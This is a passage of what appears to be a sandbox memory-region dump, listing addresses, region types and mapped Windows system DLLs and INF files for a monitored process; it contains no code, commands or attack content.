0x7ff617bda000 end_va = 0x7ff617bdbfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bda000" filename = "" Region: id = 6907 start_va = 0x7ffd13020000 end_va = 0x7ffd13061fff entry_point = 0x7ffd13020000 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 6916 start_va = 0x7ffd12fd0000 end_va = 0x7ffd1300ffff entry_point = 0x7ffd12fd0000 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 6923 start_va = 0x102900000 end_va = 0x10297ffff entry_point = 0x0 region_type = private name = "private_0x0000000102900000" filename = "" Region: id = 6924 start_va = 0x7ff617bd8000 end_va = 0x7ff617bd9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bd8000" filename = "" Region: id = 6925 start_va = 0x7ffd12f30000 end_va = 0x7ffd12f71fff entry_point = 0x7ffd12f30000 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 6933 start_va = 0x102980000 end_va = 0x1029fffff entry_point = 0x0 region_type = private name = "private_0x0000000102980000" filename = "" Region: id = 6934 start_va = 0x7ff617bd6000 end_va = 0x7ff617bd7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bd6000" filename = "" Region: id = 6935 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6936 start_va = 0x102290000 end_va = 0x1022abfff entry_point = 0x102290000 region_type = mapped_file name = "activeds.tlb" filename = "\\Windows\\System32\\activeds.tlb" (normalized: "c:\\windows\\system32\\activeds.tlb") Region: id = 6937 start_va = 0x7ffd15980000 end_va = 0x7ffd1598afff entry_point = 0x7ffd15981030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 6938 start_va = 0x7ffd152c0000 end_va = 0x7ffd152cffff entry_point = 0x7ffd152c10a0 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 6939 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = private name = "private_0x0000000101060000" filename = "" Region: id = 6943 start_va = 0x102a00000 end_va = 0x102a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102a00000" filename = "" Region: id = 6944 start_va = 0x102a80000 end_va = 0x102afffff entry_point = 0x0 region_type = private name = "private_0x0000000102a80000" filename = "" Region: id = 6945 start_va = 0x7ff617bd2000 end_va = 0x7ff617bd3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bd2000" filename = "" Region: id = 6946 start_va = 0x7ff617bd4000 end_va = 0x7ff617bd5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bd4000" filename = "" Region: id = 6951 start_va = 0x102b00000 end_va = 0x102b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102b00000" filename = "" Region: id = 6952 start_va = 0x102b80000 end_va = 0x102bfffff entry_point = 0x0 region_type = private name = "private_0x0000000102b80000" filename = "" Region: id = 6953 start_va = 0x7ff617bce000 end_va = 0x7ff617bcffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bce000" filename = "" Region: id = 6954 start_va = 0x7ff617bd0000 end_va = 0x7ff617bd1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bd0000" filename = "" Region: id = 6955 start_va = 0x7ffd12ee0000 end_va = 0x7ffd12f21fff entry_point = 0x7ffd12ee0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 6971 start_va = 0x7ffd12ed0000 end_va = 0x7ffd12edafff entry_point = 0x7ffd12ed0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 7067 start_va = 0x102800000 end_va = 0x10287ffff entry_point = 0x0 region_type = private name = "private_0x0000000102800000" filename = "" Region: id = 7068 start_va = 0x102c00000 end_va = 0x102c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102c00000" filename = "" Region: id = 7069 start_va = 0x102c80000 end_va = 0x102cfffff entry_point = 0x0 region_type = private name = "private_0x0000000102c80000" filename = "" Region: id = 7070 start_va = 0x102d00000 end_va = 0x102d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102d00000" filename = "" Region: id = 7071 start_va = 0x102d80000 end_va = 0x102dfffff entry_point = 0x0 region_type = private name = "private_0x0000000102d80000" filename = "" Region: id = 7072 start_va = 0x102e00000 end_va = 0x102e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102e00000" filename = "" Region: id = 7073 start_va = 0x102e80000 end_va = 0x102efffff entry_point = 0x0 region_type = private name = "private_0x0000000102e80000" filename = "" Region: id = 7074 start_va = 0x102f00000 end_va = 0x102f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000102f00000" filename = "" Region: id = 7075 start_va = 0x102f80000 end_va = 0x102ffffff entry_point = 0x0 region_type = private name = "private_0x0000000102f80000" filename = "" Region: id = 7076 start_va = 0x7ff617bbe000 end_va = 0x7ff617bbffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bbe000" filename = "" Region: id = 7077 start_va = 0x7ff617bc0000 end_va = 0x7ff617bc1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bc0000" filename = "" Region: id = 7078 start_va = 0x7ff617bc2000 end_va = 0x7ff617bc3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bc2000" filename = "" Region: id = 7079 start_va = 0x7ff617bc4000 end_va = 0x7ff617bc5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bc4000" filename = "" Region: id = 7080 start_va = 0x7ff617bc6000 end_va = 0x7ff617bc7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bc6000" filename = "" Region: id = 7081 start_va = 0x7ff617bc8000 end_va = 0x7ff617bc9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bc8000" filename = "" Region: id = 7082 start_va = 0x7ff617bca000 end_va = 0x7ff617bcbfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bca000" filename = "" Region: id = 7083 start_va = 0x7ff617bcc000 end_va = 0x7ff617bcdfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bcc000" filename = "" Region: id = 7084 start_va = 0x7ff617bdc000 end_va = 0x7ff617bddfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bdc000" filename = "" Region: id = 7085 start_va = 0x7ffd12730000 end_va = 0x7ffd1282bfff entry_point = 0x7ffd12730000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 7144 start_va = 0x7ffd12ad0000 end_va = 0x7ffd12ad9fff entry_point = 0x7ffd12ad0000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 7171 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101060000" filename = "" Region: id = 7196 start_va = 0x103000000 end_va = 0x10307ffff entry_point = 0x0 region_type = private name = "private_0x0000000103000000" filename = "" Region: id = 7197 start_va = 0x101060000 end_va = 0x10106bfff entry_point = 0x101060000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 7198 start_va = 0x1023c0000 end_va = 0x1023c0fff entry_point = 0x1023c0000 region_type = mapped_file name = "winrnr.dll.mui" filename = "\\Windows\\System32\\en-US\\winrnr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winrnr.dll.mui") Region: id = 7199 start_va = 0x1023f0000 end_va = 0x1023fffff entry_point = 0x0 region_type = private name = "private_0x00000001023f0000" filename = "" Region: id = 7200 start_va = 0x7ffd12650000 end_va = 0x7ffd1265bfff entry_point = 0x7ffd12651120 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 7203 start_va = 0x101060000 end_va = 0x101060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101060000" filename = "" Region: id = 7217 start_va = 0x103080000 end_va = 0x1030fffff entry_point = 0x0 region_type = private name = "private_0x0000000103080000" filename = "" Region: id = 7218 start_va = 0x7ff617bbc000 end_va = 0x7ff617bbdfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bbc000" filename = "" Region: id = 7219 start_va = 0x7ffd12600000 end_va = 0x7ffd12618fff entry_point = 0x7ffd12600000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 7223 start_va = 0x7ffd125d0000 end_va = 0x7ffd125e3fff entry_point = 0x7ffd125d0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 7232 start_va = 0x102290000 end_va = 0x102290fff entry_point = 0x102290000 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 7233 start_va = 0x103100000 end_va = 0x10317ffff entry_point = 0x0 region_type = private name = "private_0x0000000103100000" filename = "" Region: id = 7234 start_va = 0x7ff617bba000 end_va = 0x7ff617bbbfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bba000" filename = "" Region: id = 7235 start_va = 0x1023c0000 end_va = 0x1023dbfff entry_point = 0x1023c0000 region_type = mapped_file name = "activeds.tlb" filename = "\\Windows\\System32\\activeds.tlb" (normalized: "c:\\windows\\system32\\activeds.tlb") Region: id = 7236 start_va = 0x1022a0000 end_va = 0x1022a0fff entry_point = 0x0 region_type = private name = "private_0x00000001022a0000" filename = "" Region: id = 7240 start_va = 0x7ffd12550000 end_va = 0x7ffd125cefff entry_point = 0x7ffd12550000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 7241 start_va = 0x7ffd12540000 end_va = 0x7ffd1254efff entry_point = 0x7ffd12540000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 7246 start_va = 0x103180000 end_va = 0x1031fffff entry_point = 0x0 region_type = private name = "private_0x0000000103180000" filename = "" Region: id = 7247 start_va = 0x7ff617bb8000 end_va = 0x7ff617bb9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bb8000" filename = "" Region: id = 7248 start_va = 0x7ffd18530000 end_va = 0x7ffd186affff entry_point = 0x7ffd18531070 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 7249 start_va = 0x7ffd18db0000 end_va = 0x7ffd18dc5fff entry_point = 0x7ffd18db10a0 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 7250 start_va = 0x7ffd18d10000 end_va = 0x7ffd18d26fff entry_point = 0x7ffd18d11030 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 7268 start_va = 0x1022a0000 end_va = 0x1022a0fff entry_point = 0x0 region_type = private name = "private_0x00000001022a0000" filename = "" Region: id = 7271 start_va = 0x103200000 end_va = 0x10327ffff entry_point = 0x0 region_type = private name = "private_0x0000000103200000" filename = "" Region: id = 7272 start_va = 0x7ff617bb6000 end_va = 0x7ff617bb7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bb6000" filename = "" Region: id = 7274 start_va = 0x103280000 end_va = 0x1032fffff entry_point = 0x0 region_type = private name = "private_0x0000000103280000" filename = "" Region: id = 7275 start_va = 0x7ff617bb4000 end_va = 0x7ff617bb5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bb4000" filename = "" Region: id = 7280 start_va = 0x103000000 end_va = 0x10301cfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000103000000" filename = "" Region: id = 7281 start_va = 0x103070000 end_va = 0x10307ffff entry_point = 0x0 region_type = private name = "private_0x0000000103070000" filename = "" Region: id = 7308 start_va = 0x1022a0000 end_va = 0x1022a1fff entry_point = 0x1022a6180 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7309 start_va = 0x1023e0000 end_va = 0x1023e3fff entry_point = 0x1023e0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 7311 start_va = 0x103000000 end_va = 0x103000fff entry_point = 0x0 region_type = private name = "private_0x0000000103000000" filename = "" Region: id = 7312 start_va = 0x103000000 end_va = 0x103000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000103000000" filename = "" Region: id = 7315 start_va = 0x103010000 end_va = 0x103016fff entry_point = 0x0 region_type = private name = "private_0x0000000103010000" filename = "" Region: id = 7316 start_va = 0x7ffd12520000 end_va = 0x7ffd12530fff entry_point = 0x7ffd12520000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 7320 start_va = 0x103300000 end_va = 0x1033fffff entry_point = 0x0 region_type = private name = "private_0x0000000103300000" filename = "" Region: id = 7322 start_va = 0x103400000 end_va = 0x10347ffff entry_point = 0x0 region_type = private name = "private_0x0000000103400000" filename = "" Region: id = 7323 start_va = 0x7ff617bb2000 end_va = 0x7ff617bb3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bb2000" filename = "" Region: id = 7324 start_va = 0x7ffd12470000 end_va = 0x7ffd124d1fff entry_point = 0x7ffd12470000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 7327 start_va = 0x7ffd1a110000 end_va = 0x7ffd1a122fff entry_point = 0x7ffd1a115ac4 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 7329 start_va = 0x7ffd12320000 end_va = 0x7ffd1244cfff entry_point = 0x7ffd12320000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 7389 start_va = 0x7ffd12270000 end_va = 0x7ffd122dcfff entry_point = 0x7ffd12270000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 7390 start_va = 0x7ffd12170000 end_va = 0x7ffd12253fff entry_point = 0x7ffd12170000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 7402 start_va = 0x103480000 end_va = 0x10360ffff entry_point = 0x0 region_type = private name = "private_0x0000000103480000" filename = "" Region: id = 7474 start_va = 0x7ffd1c040000 end_va = 0x7ffd1c05cfff entry_point = 0x7ffd1c042aec region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 7475 start_va = 0x1022a0000 end_va = 0x1022a2fff entry_point = 0x1022a0000 region_type = mapped_file name = "ndiscap.pnf" filename = "\\Windows\\Inf\\ndiscap.PNF" (normalized: "c:\\windows\\inf\\ndiscap.pnf") Region: id = 7476 start_va = 0x7ffd12150000 end_va = 0x7ffd12163fff entry_point = 0x7ffd12150000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 7477 start_va = 0x1022a0000 end_va = 0x1022a2fff entry_point = 0x1022a0000 region_type = mapped_file name = "wfplwfs.pnf" filename = "\\Windows\\Inf\\wfplwfs.PNF" (normalized: "c:\\windows\\inf\\wfplwfs.pnf") Region: id = 7496 start_va = 0x1022a0000 end_va = 0x1022a1fff entry_point = 0x1022a0000 region_type = mapped_file name = "netserv.pnf" filename = "\\Windows\\Inf\\netserv.PNF" (normalized: "c:\\windows\\inf\\netserv.pnf") Region: id = 7515 start_va = 0x1022a0000 end_va = 0x1022a8fff entry_point = 0x1022a0000 region_type = mapped_file name = "netnwifi.pnf" filename = "\\Windows\\Inf\\netnwifi.PNF" (normalized: "c:\\windows\\inf\\netnwifi.pnf") Region: id = 7516 start_va = 0x103480000 end_va = 0x1034fffff entry_point = 0x0 region_type = private name = "private_0x0000000103480000" filename = "" Region: id = 7517 start_va = 0x103600000 end_va = 0x10360ffff entry_point = 0x0 region_type = private name = "private_0x0000000103600000" filename = "" Region: id = 7518 start_va = 0x7ff617bb0000 end_va = 0x7ff617bb1fff entry_point = 0x0 region_type = private name = "private_0x00007ff617bb0000" filename = "" Region: id = 7519 start_va = 0x1023e0000 end_va = 0x1023e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023e0000" filename = "" Region: id = 7527 start_va = 0x1022a0000 end_va = 0x1022a1fff entry_point = 0x1022a0000 region_type = mapped_file name = "netbrdg.pnf" filename = "\\Windows\\Inf\\netbrdg.PNF" (normalized: "c:\\windows\\inf\\netbrdg.pnf") Region: id = 7528 start_va = 0x7ffd12120000 end_va = 0x7ffd12143fff entry_point = 0x7ffd12120000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 7535 start_va = 0x7ffd120b0000 end_va = 0x7ffd12112fff entry_point = 0x7ffd120b0000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 7549 start_va = 0x1022a0000 end_va = 0x1022a2fff entry_point = 0x1022a0000 region_type = mapped_file name = "netpacer.pnf" filename = "\\Windows\\Inf\\netpacer.PNF" (normalized: "c:\\windows\\inf\\netpacer.pnf") Region: id = 7555 start_va = 0x1022a0000 end_va = 0x1022a1fff entry_point = 0x1022a0000 region_type = mapped_file name = "netrass.pnf" filename = "\\Windows\\Inf\\netrass.PNF" (normalized: "c:\\windows\\inf\\netrass.pnf") Region: id = 7558 start_va = 0x1023c0000 end_va = 0x1023cafff entry_point = 0x1023daea4 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 7559 start_va = 0x1023d0000 end_va = 0x1023d3fff entry_point = 0x1023d0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 7563 start_va = 0x1022a0000 end_va = 0x1022a2fff entry_point = 0x1022a0000 region_type = mapped_file name = "ndisimplatform.pnf" filename = "\\Windows\\Inf\\ndisimplatform.PNF" (normalized: "c:\\windows\\inf\\ndisimplatform.pnf") Region: id = 7564 start_va = 0x1023c0000 end_va = 0x1023cafff entry_point = 0x1023daea4 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 7565 start_va = 0x103500000 end_va = 0x10357ffff entry_point = 0x0 region_type = private name = "private_0x0000000103500000" filename = "" Region: id = 7566 start_va = 0x103580000 end_va = 0x1035fffff entry_point = 0x0 region_type = private name = "private_0x0000000103580000" filename = "" Region: id = 7567 start_va = 0x7ff617bac000 end_va = 0x7ff617badfff entry_point = 0x0 region_type = private name = "private_0x00007ff617bac000" filename = "" Region: id = 7568 start_va = 0x7ff617bae000 end_va = 0x7ff617baffff entry_point = 0x0 region_type = private name = "private_0x00007ff617bae000" filename = "" Region: id = 7569 start_va = 0x1022a0000 end_va = 0x1022a1fff entry_point = 0x1022a0000 region_type = mapped_file name = "netlldp.pnf" filename = "\\Windows\\Inf\\netlldp.PNF" (normalized: "c:\\windows\\inf\\netlldp.pnf") Region: id = 7570 start_va = 0x1022a0000 end_va = 0x1022a4fff entry_point = 0x1022a0000 region_type = mapped_file name = "netip6.pnf" filename = "\\Windows\\Inf\\netip6.PNF" (normalized: "c:\\windows\\inf\\netip6.pnf") Region: id = 7571 start_va = 0x1022a0000 end_va = 0x1022aafff entry_point = 0x1022a0000 region_type = mapped_file name = "nettcpip.pnf" filename = "\\Windows\\Inf\\nettcpip.PNF" (normalized: "c:\\windows\\inf\\nettcpip.pnf") Region: id = 7572 start_va = 0x103610000 end_va = 0x10370ffff entry_point = 0x0 region_type = private name = "private_0x0000000103610000" filename = "" Region: id = 7577 start_va = 0x1022a0000 end_va = 0x1022a6fff entry_point = 0x0 region_type = private name = "private_0x00000001022a0000" filename = "" Region: id = 7578 start_va = 0x103710000 end_va = 0x10380ffff entry_point = 0x0 region_type = private name = "private_0x0000000103710000" filename = "" Region: id = 7579 start_va = 0x1023c0000 end_va = 0x1023cafff entry_point = 0x1023c0000 region_type = mapped_file name = "nettcpip.pnf" filename = "\\Windows\\Inf\\nettcpip.PNF" (normalized: "c:\\windows\\inf\\nettcpip.pnf") Region: id = 7580 start_va = 0x7ffd12030000 end_va = 0x7ffd1203ffff entry_point = 0x7ffd12030000 region_type = mapped_file name = "qmgrprxy.dll" filename = "\\Windows\\System32\\qmgrprxy.dll" (normalized: "c:\\windows\\system32\\qmgrprxy.dll") Region: id = 7581 start_va = 0x1023c0000 end_va = 0x1023c1fff entry_point = 0x1023c0000 region_type = mapped_file name = "lltdio.pnf" filename = "\\Windows\\Inf\\lltdio.PNF" (normalized: "c:\\windows\\inf\\lltdio.pnf") Region: id = 7583 start_va = 0x1023c0000 end_va = 0x1023c1fff entry_point = 0x1023c0000 region_type = mapped_file name = "rspndr.pnf" filename = "\\Windows\\Inf\\rspndr.PNF" (normalized: "c:\\windows\\inf\\rspndr.pnf") Region: id = 7586 start_va = 0x7ffd11f60000 end_va = 0x7ffd12026fff entry_point = 0x7ffd11f60000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 7587 start_va = 0x1023c0000 end_va = 0x1023c4fff entry_point = 0x1023c0000 region_type = mapped_file name = "netrast.pnf" filename = "\\Windows\\Inf\\netrast.PNF" (normalized: "c:\\windows\\inf\\netrast.pnf") Region: id = 7590 start_va = 0x1023c0000 end_va = 0x1023c1fff entry_point = 0x1023c0000 region_type = mapped_file name = "netavpnt.pnf" filename = "\\Windows\\Inf\\netavpnt.PNF" (normalized: "c:\\windows\\inf\\netavpnt.pnf") Region: id = 7591 start_va = 0x1023c0000 end_va = 0x1023c4fff entry_point = 0x1023c0000 region_type = mapped_file name = "netrast.pnf" filename = "\\Windows\\Inf\\netrast.PNF" (normalized: "c:\\windows\\inf\\netrast.pnf") Region: id = 7592 start_va = 0x1023c0000 end_va = 0x1023cafff entry_point = 0x1023c0000 region_type = mapped_file name = "nettcpip.pnf" filename = "\\Windows\\Inf\\nettcpip.PNF" (normalized: "c:\\windows\\inf\\nettcpip.pnf") Region: id = 7593 start_va = 0x1023c0000 end_va = 0x1023c4fff entry_point = 0x1023c0000 region_type = mapped_file name = "netip6.pnf" filename = "\\Windows\\Inf\\netip6.PNF" (normalized: "c:\\windows\\inf\\netip6.pnf") Region: id = 7594 start_va = 0x1023c0000 end_va = 0x1023cafff entry_point = 0x1023c0000 region_type = mapped_file name = "nettcpip.pnf" filename = "\\Windows\\Inf\\nettcpip.PNF" (normalized: "c:\\windows\\inf\\nettcpip.pnf") Region: id = 7596 start_va = 0x7ffd11f40000 end_va = 0x7ffd11f54fff entry_point = 0x7ffd11f40000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 7597 start_va = 0x7ffd11f30000 end_va = 0x7ffd11f3ffff entry_point = 0x7ffd11f30000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 7598 start_va = 0x1023c0000 end_va = 0x1023c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001023c0000" filename = "" Region: id = 7599 start_va = 0x103810000 end_va = 0x10388ffff entry_point = 0x0 region_type = private name = "private_0x0000000103810000" filename = "" Region: id = 7600 start_va = 0x7ff617baa000 end_va = 0x7ff617babfff entry_point = 0x0 region_type = private name = "private_0x00007ff617baa000" filename = "" Region: id = 7601 start_va = 0x7ffd11f20000 end_va = 0x7ffd11f2afff entry_point = 0x7ffd11f20000 region_type = mapped_file name = "brdgcfg.dll" filename = "\\Windows\\System32\\brdgcfg.dll" (normalized: "c:\\windows\\system32\\brdgcfg.dll") Region: id = 7602 start_va = 0x7ffd11ef0000 end_va = 0x7ffd11f1efff entry_point = 0x7ffd11ef0000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 7603 start_va = 0x7ffd11e80000 end_va = 0x7ffd11ee6fff entry_point = 0x7ffd11e80000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 7610 start_va = 0x7ffd11df0000 end_va = 0x7ffd11e69fff entry_point = 0x7ffd11df0000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 7617 start_va = 0x7ffd11e70000 end_va = 0x7ffd11e78fff entry_point = 0x7ffd11e70000 region_type = mapped_file name = "bitsprx2.dll" filename = "\\Windows\\System32\\bitsprx2.dll" (normalized: "c:\\windows\\system32\\bitsprx2.dll") Region: id = 7619 start_va = 0x103890000 end_va = 0x10390ffff entry_point = 0x0 region_type = private name = "private_0x0000000103890000" filename = "" Region: id = 7620 start_va = 0x7ff617ba8000 end_va = 0x7ff617ba9fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba8000" filename = "" Region: id = 7621 start_va = 0x7ffd11dd0000 end_va = 0x7ffd11deffff entry_point = 0x7ffd11dd0000 region_type = mapped_file name = "mprmsg.dll" filename = "\\Windows\\System32\\mprmsg.dll" (normalized: "c:\\windows\\system32\\mprmsg.dll") Region: id = 7623 start_va = 0x7ffd11dc0000 end_va = 0x7ffd11dc8fff entry_point = 0x7ffd11dc0000 region_type = mapped_file name = "bitsprx7.dll" filename = "\\Windows\\System32\\bitsprx7.dll" (normalized: "c:\\windows\\system32\\bitsprx7.dll") Region: id = 7624 start_va = 0x103910000 end_va = 0x10398ffff entry_point = 0x0 region_type = private name = "private_0x0000000103910000" filename = "" Region: id = 7625 start_va = 0x7ff617ba6000 end_va = 0x7ff617ba7fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba6000" filename = "" Region: id = 7626 start_va = 0x103990000 end_va = 0x103a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000103990000" filename = "" Region: id = 7627 start_va = 0x7ff617ba4000 end_va = 0x7ff617ba5fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba4000" filename = "" Region: id = 7628 start_va = 0x1023d0000 end_va = 0x1023ecfff entry_point = 0x1023d0000 region_type = mapped_file name = "mprmsg.dll.mui" filename = "\\Windows\\System32\\en-US\\mprmsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprmsg.dll.mui") Region: id = 7629 start_va = 0x7ffd11db0000 end_va = 0x7ffd11dbdfff entry_point = 0x7ffd11db0000 region_type = mapped_file name = "bitsprx5.dll" filename = "\\Windows\\System32\\bitsprx5.dll" (normalized: "c:\\windows\\system32\\bitsprx5.dll") Region: id = 7630 start_va = 0x7ffd11d90000 end_va = 0x7ffd11daffff entry_point = 0x7ffd11d90000 region_type = mapped_file name = "ndisimplatform.dll" filename = "\\Windows\\System32\\NdisImPlatform.dll" (normalized: "c:\\windows\\system32\\ndisimplatform.dll") Region: id = 7643 start_va = 0x103a10000 end_va = 0x103a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000103a10000" filename = "" Region: id = 7644 start_va = 0x7ff617ba2000 end_va = 0x7ff617ba3fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ba2000" filename = "" Region: id = 7645 start_va = 0x7ffd11de0000 end_va = 0x7ffd11de8fff entry_point = 0x7ffd11de0000 region_type = mapped_file name = "bitsprx3.dll" filename = "\\Windows\\System32\\bitsprx3.dll" (normalized: "c:\\windows\\system32\\bitsprx3.dll") Region: id = 7649 start_va = 0x103a90000 end_va = 0x103b0ffff entry_point = 0x0 region_type = private name = 